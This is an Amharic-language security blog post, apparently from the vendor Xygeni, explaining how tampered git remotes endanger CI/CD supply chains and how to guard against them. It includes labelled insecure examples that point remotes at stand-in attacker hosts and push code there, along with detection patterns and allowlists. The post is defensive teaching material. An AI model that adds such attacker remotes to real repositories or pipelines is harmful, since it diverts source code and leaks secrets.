git remote set-url - git set url ለ remote - git add remote

የጂት የርቀት መቆጣጠሪያ set-url የአቅርቦት ሰንሰለት አደጋ በሚሆንበት ጊዜ

ከቀላል የጂት ትዕዛዝ በስተጀርባ ያለው ድብቅ አደጋ

ለአብዛኛዎቹ ገንቢዎች፣ እንደ git remote set-url origin ያለ ትዕዛዝ ማሄድ የጂት ውቅርን ለመጠበቅ ሌላ እርምጃ ብቻ ነው የሚመስለው። የCI ስክሪፕቶች እንዲሁም በግንባታ ጊዜ እንደ git remote set-url፣ Git set url ለሩቅ ወይም Git remote add to fetch ወይም push code ያሉ ትዕዛዞችን በተለምዶ ያስፈጽማሉ። ግን አደጋው ይኸውና፡ አንድ አጥቂ ያንን ውቅር (በአካባቢው ወይም በCI) ካዛባ፣ ምንጭዎን ወደ ተንኮል አዘል ማከማቻ ሊያዞሩ፣ ምስክርነቶችን ሊሰርቁ ወይም የአቅርቦት ሰንሰለት ተንኮል አዘል ዌር ሊወጉ ይችላሉ።

በተለምዶ እንዴት ጥቅም ላይ እንደሚውል የሚያሳይ ምሳሌ፦

# ሕጋዊ አጠቃቀም

git remote set-url origin https://github.com/org/project.git

⚠️ ለትምህርት ዓላማ ብቻ ደህንነቱ ያልተጠበቀ ምሳሌ። በምርት ውስጥ አይጠቀሙ።

				
					# ❌ Malicious alteration (insecure)
git remote set-url origin https://evil-repo.attacker.net/project.git

				
			

የስሪት ቅጂውን ደህንነቱ የተጠበቀ፣ ፒን ያድርጉ እና የማከማቻውን መነሻ ያረጋግጡ

				
					# ✅ Secure: use a fixed, validated origin and log intent
git remote set-url origin https://github.com/secure-org/project.git
# Educational note: prefer hardcoded, audited origins or validate against a whitelist before setting.

				
			

ለምን? የርቀት መቆጣጠሪያው ወደ አጥቂ ቁጥጥር የሚደረግበት አስተናጋጅ ከተቀየረ፣ እያንዳንዱ ቀጣይ የgit fetch/git ግፊት ወደ ተንኮል አዘል ኮድ ያመራል። በተቻለ መጠን የሃርድ ኮድ ታማኝ መነሻዎችን እና ያልተረጋገጡ ተለዋዋጭ ዩአርኤሎችን ያስወግዳል።

የርቀት ማዛባት ግንባታውን እንዴት እንደሚያደናቅፍ Pipeline

የተሻሻለ የጂት የርቀት ዩአርኤል በራስ-ሰር በሚሰራበት ጊዜ ከባድ መዘዝ ሊያስከትል ይችላል pipelineስክሪፕቶች በተዘዋዋሪ የሚታመኑበት።

ምሳሌ ሁኔታ፡-

  • የCI ስክሪፕት ማከማቻዎችን በተለዋዋጭነት እንደገና ለማዋቀር git remote set-url ን ይጠቀማል።
  • የተጎዳ የአካባቢ ተለዋዋጭ (ለምሳሌ፣ የቶከን ወይም የሪፖ ዩአርኤል) በስክሪፕቱ ውስጥ ይገባል።
  • ግንባታው ኮዱን ወደ ተንኮል አዘል ማከማቻ ያመጣ ወይም ይገፋፋል።
  • አጥቂው የኋላ በሮችን ወይም የተበላሹ ጥገኝነቶችን ያስገባል።

⚠️ ለትምህርት ዓላማ ብቻ ደህንነቱ ያልተጠበቀ ምሳሌ። በምርት ውስጥ አይጠቀሙ።

				
					# ❌ CI/CD pipeline with an unvalidated remote URL
steps:
  - name: Set remote
    run: git remote set-url origin $REPO_URL
  - name: Build and deploy
    run: npm install && npm run build

				
			

ደህንነቱ የተጠበቀ ስሪት፣ ከመጠቀምዎ በፊት $REPO_URLን ያረጋግጡ (የተፈቀደላቸው ዝርዝር / የxygeni ማረጋገጫ)።

				
					# ✅ CI/CD pipeline with validation guardrail
steps:
  - name: Validate REPO_URL
    run: |
      # Educational note: never accept raw URLs without validation.
      if ! xygeni verify --git-origin "$REPO_URL" --whitelist domains.txt; then
        echo "Untrusted repo origin: $REPO_URL" && exit 1
      fi
  - name: Set remote (safe)
    run: git remote set-url origin "$REPO_URL"
  - name: Build and deploy
    run: npm ci && npm run build

				
			

እንዴት: ገቢ የሆኑ የማከማቻ ዩአርኤሎችን ከተጠበቀ የነጭ ዝርዝር ጋር ያረጋግጡ (ወይም ይጠቀሙ) xygeni verify --git-origin) በእነሱ ላይ እርምጃ ከመውሰዳቸው በፊት። ይህ አጥቂዎች የአካባቢ ተለዋዋጮችን ወደ አቅጣጫ እንዳያዞሩ ይከላከላል pipelines.

በርቀት ውቅር ውስጥ ያልተፈቀዱ ለውጦችን ማግኘት

የርቀት መቆጣጠሪያ ሲሻሻል ጊት አያሳውቅዎትም። .git/config እና የቅድመ-ግንባታ የጥራት ፍተሻዎች አስፈላጊ ናቸው።

ተግባራዊ የምርመራ ዘዴዎች

  • የጂት ውቅርን ይመርምሩ፦

     
    git remote -v

    ውጤቱን ደህንነቱ በተጠበቀ የመነሻ መስመር ውስጥ ከተከማቹ ከሚጠበቁ ዩአርኤሎች ጋር ያወዳድሩ።

  • ማረጋገጫ .git/config ታማኝነት፡

     
    sha256sum .git/config

    ቼክሰሙን ከታመነ የመነሻ መስመር ጋር ያወዳድሩ።

  • በCI ላይ የተመሰረተ ማረጋገጫ፡

     
    validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git

የትምህርት ማስታወሻ፡ ለረጅም ጊዜ የቆዩ የምስክርነት ማረጋገጫዎችን በምዝግብ ማስታወሻዎች ወይም ባልተጠበቁ አካባቢዎች ውስጥ ሲጋለጡ የታማኝነት ፍተሻዎችን ወይም የማረጋገጫ ትዕዛዞችን አያሂዱ። ጊዜያዊ የምስክርነት ማረጋገጫዎችን፣ የተደበቁ ምስጢሮችን ይጠቀሙ እና በተቻለ መጠን እንደ ልዩ ተጠቃሚ የማረጋገጫ ትዕዛዞችን ከመተግበር ይቆጠቡ።

የመመርመሪያ ጠቃሚ ምክር፡ ወደ ቀኖናዊ ያልሆኑ ጎራዎች የሚያመለክቱ የርቀት መቆጣጠሪያዎችን ይፈልጉ (ያልተጠበቀ) .net, .io, የአይፒ አድራሻዎች)፣ የርቀት ስሞችን ወይም የአካባቢ ተለዋዋጮችን ያለ ማረጋገጫ የሪፖ ዩአርኤሎችን የሚቆጣጠሩ። ቀደም ብሎ ማወቅ ይከላከላል git set-url ከተበከሉ ግንባታዎች የሚደረግ ማጭበርበሪያ።

የመረጃ ማከማቻ ምንጮችን በ ማስጠበቅ Guardrails እና የሃሽ ማረጋገጫ

መከላከል ማለት ከየትኛው ማከማቻ እንደሚገነቡ ጥብቅ ቁጥጥር ማድረግ ማለት ነው። Guardrails መፈረምን፣ የሃሽ ማረጋገጫን እና የCI ተለዋዋጮችን ማን ማሻሻል እንደሚችል መገደብን ያካትታሉ።

ለማከማቻ ታማኝነት አስተማማኝ ልምዶች

የሚቻል ከሆነ የማከማቻ ዩአርኤሎችን፣ ጠንካራ ኮድ ያላቸውን ምንጮችን ፒን ያድርጉ፦

				
					# ✅ Secure practice: fixed, audited origin
git remote set-url origin https://github.com/secure-org/project.git
Enforce commit signing:
# ✅ Verify commit signatures before builds
git verify-commit HEAD

				
			

የማከማቻ ሃሾችን ያረጋግጡ፡

ከመገንባትዎ በፊት HEAD ከሚጠበቀው ሃሽ ጋር የሚዛመድ መሆኑን ያረጋግጡ።

⚠️ ደህንነቱ ያልተጠበቀ ምሳሌ፣ ቶከኖችን በሎጎች ውስጥ ማተም (በምርት ውስጥ አይጠቀሙ)።

				
					# ❌ Insecure token handling (do not print secrets)
echo "Deploying with token: $DEPLOY_TOKEN"

				
			

ደህንነቱ የተጠበቀ ስሪት፣ ከካዝናው ውስጥ ያሉትን ምስጢሮች ያንብቡ፣ እና በጭራሽ አያትሙ

				
					# ✅ Secure: retrieve secrets from vault and avoid echoing them
export DEPLOY_TOKEN=$(vault read -field=value secret/deploy_token)
# Educational note: Never print tokens or secrets to logs; use masked variables in CI.

				
			

አነስተኛ የማረጋገጫ ዝርዝር፡ ደህንነቱ የተጠበቀ የጂት የርቀት አስተዳደር

  • ተግባራዊ ማድረግ የርቀት ዩአርኤል የተፈቀደላቸው ዝርዝር ወይም ማረጋገጫ.
  • ከመገንባትዎ በፊት የ.git/config ትክክለኛነትን ያረጋግጡ።
  • መፈረም ያስፈልጋል commitዎች እና መለያዎች።
  • የCI አካባቢ ተለዋዋጮችን ማን ማሻሻል እንደሚችል ይገድቡ።
  • የ git remote set-url እና git remote add ለኦዲት የተደረጉ የሎግ አፈፃፀም።

የጂት የርቀት ስብስብ ዩአርኤል ማረጋገጫን ወደ ማዋሃድ CI/CD Pipelines

አክል guardrails እና የርቀት ማዛባትን ለማስቆም በራስ-ሰር ማረጋገጫ በ pipeline.

የጠባቂዎች ምሳሌ፡ የተባዙ ወይም ያልተፈቀዱ የርቀት መቆጣጠሪያዎችን ያረጋግጡ

				
					# ✅ Pipeline guardrail: detect duplicate or unauthorized remotes
steps:
  - name: Check remotes
    run: |
      git remote -v > /tmp/remotes.txt
      if grep -E "evil-repo|attacker" /tmp/remotes.txt; then
        echo "Unauthorized remote detected" && exit 1
      fi
      # Validate current origin matches expected
      if ! xygeni verify --git-origin "$(git config --get remote.origin.url)" --whitelist domains.txt; then
        echo "Origin verification failed" && exit 1
      fi

				
			

በጋራ አካባቢዎች የአቅርቦት ሰንሰለትን መበከልን በመከላከል ረገድ ጠንካራ መሆን

የተጋሩ ሯጮች እና ፍቃደኛ የርቀት ትዕዛዞች ከፍተኛ አደጋ አላቸው። በስራ አፈጻጸም ጊዜ ውስጥ ያልተረጋገጡ የርቀት መቆጣጠሪያዎችን የሚጨምሩ ትዕዛዞችን ያስወግዱ።

⚠️ ደህንነቱ ያልተጠበቀ ምሳሌ፣ የአጥቂ የርቀት መቆጣጠሪያ ማከል (አያገለግሉም)።

				
					# ❌ Insecure: adding an unvetted remote
git remote add backup https://attacker.net/mirror.git

				
			

ደህንነቱ የተጠበቀ ስሪት፣ ለተረጋገጡ ጎራዎች ብቻ ይገድቡ እና ለጸደቁ መነሻዎች ብቻ -set-url ን ይጠቀሙ

				
					# ✅ Secure: modify remotes only after domain validation
VALID_DOMAIN="github.com|gitlab.com|internal.company.com"
REMOTE_URL="https://github.com/secure-org/project.git"
if echo "$REMOTE_URL" | grep -Eq "$VALID_DOMAIN"; then
  git remote add backup "$REMOTE_URL"
else
  echo "Refusing to add unapproved remote" && exit 1
fi

				
			

ማሳሰቢያ፡ ጊዜያዊ ሯጮችን ይምረጡ እና በስራዎች መካከል የማያቋርጥ የተጋሩ መሸጎጫዎችን ያስወግዱ።

ስለ ሯጮች ማስታወሻ፡ ለእያንዳንዱ ሥራ የተፈጠሩ ጊዜያዊ፣ የተለዩ ሯጮችን ይጠቀሙ። የተጋሩ ዲስኮች ወይም መሸጎጫዎች በግንባታዎች ላይ የተበላሹ ፋይሎችን ሊቀጥሉ ይችላሉ።

ለርቀት ማረጋገጫ የጂት ስብስብ ዩአርኤልን ማዋሃድ CI/CD Pipelines

የgit remote set-url አጠቃቀምን መጠበቅ በእጅ የሚደረግ ፍተሻ ብቻ አይደለም፤ ስለ አውቶሜሽን ነው። ዘመናዊ የDevSecOps የስራ ፍሰቶች ማረጋገጫን በቀጥታ ከሚከተሉት ጋር ማዋሃድ ይችላሉ CI/CD pipelines.

ምሳሌ፡ አውቶሜትድ የርቀት ትክክለኛነት ማረጋገጫ

				
					stages:
  - validate
  - build


validate-repo:
  script:
    - echo "Validating repository origin..."
    - xygeni enforce --policy git-origin.yaml
    - xygeni scan --detect-remote-tampering

				
			

ይህ ውቅር ማንኛውም ግንባታ ወይም ማሰማራት ከመጀመሩ በፊት፣ pipeline ያረጋግጣል፦

  • የማከማቻ ዩአርኤል ከሚጠበቀው እሴት ጋር ይዛመዳል።
  • Commit ፊርማዎቹ ትክክለኛ ናቸው።
  • git add remote በመጠቀም ያልተጠበቁ የርቀት መቆጣጠሪያዎች አልተጨመሩም።

ተጨማሪ የCI መቆጣጠሪያዎች

  • Pre-commit hooks: ያልተፈቀደ መሆኑን ያረጋግጡ git remote set-url ትዕዛዞች በ ውስጥ ይገኛሉ commits.
  • የፖሊሲ-እንደ-ኮድ ማስፈጸሚያ፡ የተፈቀደላቸውን መነሻዎች እንደ ስሪት-ቁጥጥር ፖሊሲዎች አካል ይግለጹ።
  • የጥገኝነት መስታወት፡- ከቀጥታ የኢንተርኔት ምንጮች ይልቅ ከተረጋገጡ የውስጥ መስተዋቶች ኮድ ይጎትቱ።

እነዚህን ቼኮች በራስ-ሰር ማድረግ የተሳሳቱ ውቅሮችን ከመከላከል በተጨማሪ ኮዱ ከመላኩ በፊት የአቅርቦት ሰንሰለት ማበላሸት ሙከራዎችን ያገኛል።

በጋራ አካባቢዎች የአቅርቦት ሰንሰለትን መበከልን በመከላከል ረገድ ጠንካራ መሆን

የተጋሩ ሯጮች ወይም ጊዜያዊ የCI አካባቢዎች ተጨማሪ አደጋዎችን ያስከትላሉ። በርካታ ግንባታዎች የተጋሩ ሀብቶችን ሲገነቡ፣ git remote set-url ወይም git add remote comands በክፍለ-ጊዜዎች ውስጥ ተንኮል አዘል የርቀት መቆጣጠሪያዎችን ለማቆየት በጦር መሳሪያ ሊታጠቁ ይችላሉ።

የተለመዱ የጥቃት ሁኔታዎች

የተበላሸ የግንባታ ስክሪፕት ኮድ ወደ አጥቂው ማከማቻ የሚገፋ አዲስ የርቀት መቆጣጠሪያ ያክላል፡

git የርቀት ምትኬን ያክሉ https://attacker.example.com/repo.git

git push backup main

  • በተመሳሳይ የሲአይ ወኪል ላይ የሚሰራ ሌላ ፕሮጀክት ከዚህ የተበከለ ሁኔታ ይወጣል።
  • እንደ ቶከን ወይም የግንባታ ቅርሶች ያሉ ሚስጥራዊ መረጃዎች ባልተፈቀደላቸው ግፊቶች ይፈሳሉ።

የማጠንከሪያ መለኪያዎች

  • ጊዜያዊ ሯጮች፡ ከእያንዳንዱ ግንባታ በኋላ የCI አካባቢዎችን ዳግም ያስጀምሩ።
  • የአውታረ መረብ ማግለል፡ ወደተፈቀዱ ጎራዎች የሚወጣውን ትራፊክ ይገድቡ።
  • ዝቅተኛው መብት፡- በጂት ውስጥ ለሚደረጉ የጂት ስራዎች ፈቃዶችን ይገድቡ pipelines.
  • የቅርስ ፊርማ፡ ሁሉም የግንባታ ውጤቶች በምስጢራዊነት የተፈረሙ እና የተረጋገጡ መሆናቸውን ያረጋግጡ።

ቡድኖች ማግለልን፣ ማረጋገጫን እና ክትትልን በማጣመር፣ የጂት ስብስብ ዩአርኤልን ለርቀት ማኔጅመንት የሚጠቀሙ ጥቃቶችን ማስወገድ ይችላሉ።

የማከማቻ ትረስትን ያረጋግጡ፣ ይከታተሉ እና በራስ-ሰር ያስተዳድሩ

አንድ አላግባብ ጥቅም ላይ ያልዋለ git remote set-url ወይም ያልተረጋገጡ git add remote በጸጥታ መላውን የግንባታ ሂደትዎን ወደ አጥቂ ቁጥጥር የሚደረግበት ማከማቻ ሊያዞረው ይችላል። በ DevOps ውስጥ በምርታማነት እና በስምምነት መካከል ያለው መስመር ከመቼውም ጊዜ በበለጠ ቀጭን ነው፣ እና የሶፍትዌር አቅርቦት ሰንሰለት ጥቃቶች በትክክል ያንን ተጠቀም።

በእርስዎ ላይ ያለዎትን እምነት ለመጠበቅ pipelines:

የመሣሪያ ስርዓቶች እንደ ዚጌኒ የDevSecOps ቡድኖች የርቀት የተሳሳቱ ውቅሮችን እንዲያውቁ፣ የማከማቻ እምነት ወሰኖችን እንዲከታተሉ እና ከGit አላግባብ መጠቀም የሚመጡ የአቅርቦት ሰንሰለት አደጋዎችን እንዲያግዱ ያግዙ፣ ይህም ተንኮል አዘል የርቀት መቆጣጠሪያዎች ኮድ የማሰማራት እድል ከማግኘታቸው በፊት ነው።

የስራ ፍሰትዎን ይመኑ፣ ነገር ግን ምንጩን ያረጋግጡ። git remote set-url ቀጣዩ የደህንነት ጥሰትዎ እንዳይሆን የሚያደርጉት በዚህ መንገድ ነው።

sca-tools-software-composition-analyse-tools
የሶፍትዌር አደጋዎችዎን ቅድሚያ ይስጡ፣ ያስተካክሉ እና ይጠብቁ
ነፃ መለያ ያግኙ።
ምንም ዱቤ ካርድ አያስፈልግም።

የሶፍትዌርዎን ልማት እና አቅርቦት ደህንነት ይጠብቁ

ከ Xygeni Product Suite ጋር